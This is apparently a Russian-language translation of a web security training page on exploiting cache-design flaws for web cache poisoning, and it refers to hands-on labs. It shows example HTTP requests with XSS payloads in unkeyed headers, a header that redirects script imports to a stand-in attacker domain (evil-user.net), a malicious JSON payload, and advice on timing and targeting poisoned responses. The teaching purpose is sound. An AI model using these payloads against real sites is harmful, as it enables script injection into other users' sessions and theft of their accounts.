Эксплуатация изъянов дизайна кэша

В этом разделе мы узнаем, как уязвимости Web Cache Poisoning возникают из-за общих изъянов в дизайне кэшей, и покажем, как их эксплуатировать.

Коротко: сайты уязвимы к отравлению кэша, если они небезопасно обрабатывают не ключевые компоненты запроса и позволяют кэшировать последующие HTTP-ответы. Эта уязвимость может служить методом доставки для разных атак.

Использование отравления кэша для доставки XSS

Классический вектор для эксплуатации уязвимости — когда не ключевой компонент отражается в кэшируемом ответе без должной очистки.

Например, рассмотрим такой запрос и ответ:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

Здесь значение заголовка X-Forwarded-Host используется для динамической генерации URL изображения Open Graph, который затем отражается в ответе. Критично для отравления кэша, что X-Forwarded-Host часто является не ключевым. В этом примере можно потенциально отравить кэш ответом с XSS-нагрузкой:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

Если этот ответ будет закэширован, все, кто зайдёт на /en?region=uk, получат XSS. В примере это просто alert, но реальная атака может красть пароли и захватывать аккаунты.

Читать далее

Эксплуатация уязвимостей Cross-Site Scripting

Использование Web Cache Poisoning для эксплуатации небезопасного импорта ресурсов

Некоторые сайты используют не ключевые компоненты запроса, чтобы динамически генерировать URL для импорта ресурсов, например внешних JavaScript-файлов. В таком случае, если атакующий сменит значение нужного заголовка на домен под своим контролем, он может заставить ссылаться на свой вредоносный JS.

Если ответ с этим URL закэшируется, файл атакующего будет импортирован и выполнен в сессии любого пользователя с совпадающим ключом кэша.

GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>

LAB

Web cache poisoning with an unkeyed header

Использование Web Cache Poisoning для эксплуатации уязвимостей обработки cookie

Cookie часто применяются для динамической генерации содержимого ответа. Типичный пример — cookie, указывающая предпочитаемый язык, на основе которой подгружается соответствующая версия страницы:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

В этом примере запрошена польская версия поста. Обратите внимание, что информация о языке содержится только в заголовке Cookie. Предположим, что ключ кэша включает стартовую строку и заголовок Host, но не Cookie. Тогда если ответ будет закеширован, все последующие пользователи, открывшие этот пост, получат польскую версию, независимо от выбранного ими языка.

Такое некорректное обращение к cookie кэшом тоже можно эксплуатировать. На практике, однако, это встречается реже, чем отравление через заголовки. Когда уязвимости на базе cookie существуют, их обычно быстро находят и чинят, потому что пользователи случайно отравляют кэш.

LAB

Web cache poisoning with an unkeyed cookie

Эксплуатация уязвимостей Web Cache Poisoning с использованием нескольких заголовков

Некоторые сайты уязвимы к простым векторам эксплуатации, как выше. Другие требуют более сложных атак и становятся уязвимыми лишь при манипуляции несколькими не ключевыми компонентами.

Например, допустим сайт требует HTTPS. Если приходит запрос с другим протоколом, сайт динамически генерирует редирект на себя же по HTTPS:

GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http
HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random

Само по себе это поведение не обязательно уязвимо. Но в сочетании с рассмотренными ранее уязвимостями в динамически генерируемых URL атакующий может сгенерировать кэшируемый ответ, перенаправляющий пользователей на вредоносный URL.

LAB

Web cache poisoning with multiple headers

Эксплуатация ответов, раскрывающих лишнюю информацию

Иногда сайты повышают уязвимость к отравлению кэша, «выдавая» слишком много сведений о себе и своём поведении.

Директивы Cache-Control

Одна из задач при построении атаки — добиться кэширования вредоносного ответа. Это часто требует проб и ошибок. Однако порой ответы прямо содержат нужную информацию.

Например, ответы могут сообщать, как часто кэш очищается, и насколько «стар» текущий сохранённый ответ:

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

Это не ведёт напрямую к уязвимости, но экономит атакующему время ручной работы, поскольку он знает, когда именно отправить полезную нагрузку, чтобы она попала в кэш.

Эти знания также открывают путь для более тонких атак. Вместо спама к бэкенду до срабатывания, атакующий может аккуратно рассчитать момент для одиночного отравленного запроса.

Заголовок Vary

Примитивный способ использования заголовка Vary тоже может помочь атакующему. Vary перечисляет дополнительные заголовки, которые следует считать частью ключа кэша, даже если обычно они не учитываются. Часто туда включают User-Agent, чтобы мобильную версию сайта не отдавали не-мобильным пользователям.

Эта информация позволяет строить многоэтапные атаки на конкретные сегменты пользователей. Например, зная, что User-Agent — часть ключа кэша, атакующий может сначала определить User-Agent жертв и «нацелить» атаку только на них. Либо выбрать самый популярный User-Agent для максимального охвата.

LAB

Targeted web cache poisoning using an unknown header

Эксплуатация DOM-уязвимостей с помощью Web Cache Poisoning

Как обсуждалось, если сайт небезопасно использует не ключевые компоненты, в виде заголовков запроса, для импорта файлов, это может позволить импортировать вредоносный файл. Это относится не только к JavaScript.

Многие сайты используют JavaScript, чтобы запрашивать и обрабатывать дополнительные данные с бэкенда. Если скрипт небезопасно обрабатывает данные сервера, это может приводить к DOM-уязвимостям.

Например, атакующий может отравить кэш ответом, который импортирует JSON-файл с следующей нагрузкой:

{"someProperty" : "<svg onload=alert(1)>"}

Если сайт передаст значение этого свойства в приемник (sink), поддерживающий динамическое выполнение кода, нагрузка выполнится в контексте браузерной сессии жертвы.

Если вы используете Web Cache Poisoning, чтобы заставить сайт загрузить вредоносный JSON с вашего сервера, может понадобиться дать сайту доступ к JSON при помощи CORS:

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
{
    "malicious json" : "malicious json"
}

Читать далее

DOM-based уязвимости

LAB

Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

Цепочки уязвимостей Web Cache Poisoning

Как мы видели, иногда вредоносный ответ удаётся получить лишь при составлении запроса с несколькими заголовками. То же верно и для разных типов атак. Отравление кэша порой требует «сцепить» несколько техник. Комбинируя уязвимости, можно раскрыть дополнительные слои уязвимости, изначально казавшиеся неэксплуатируемыми.

LAB

Combining web cache poisoning vulnerabilities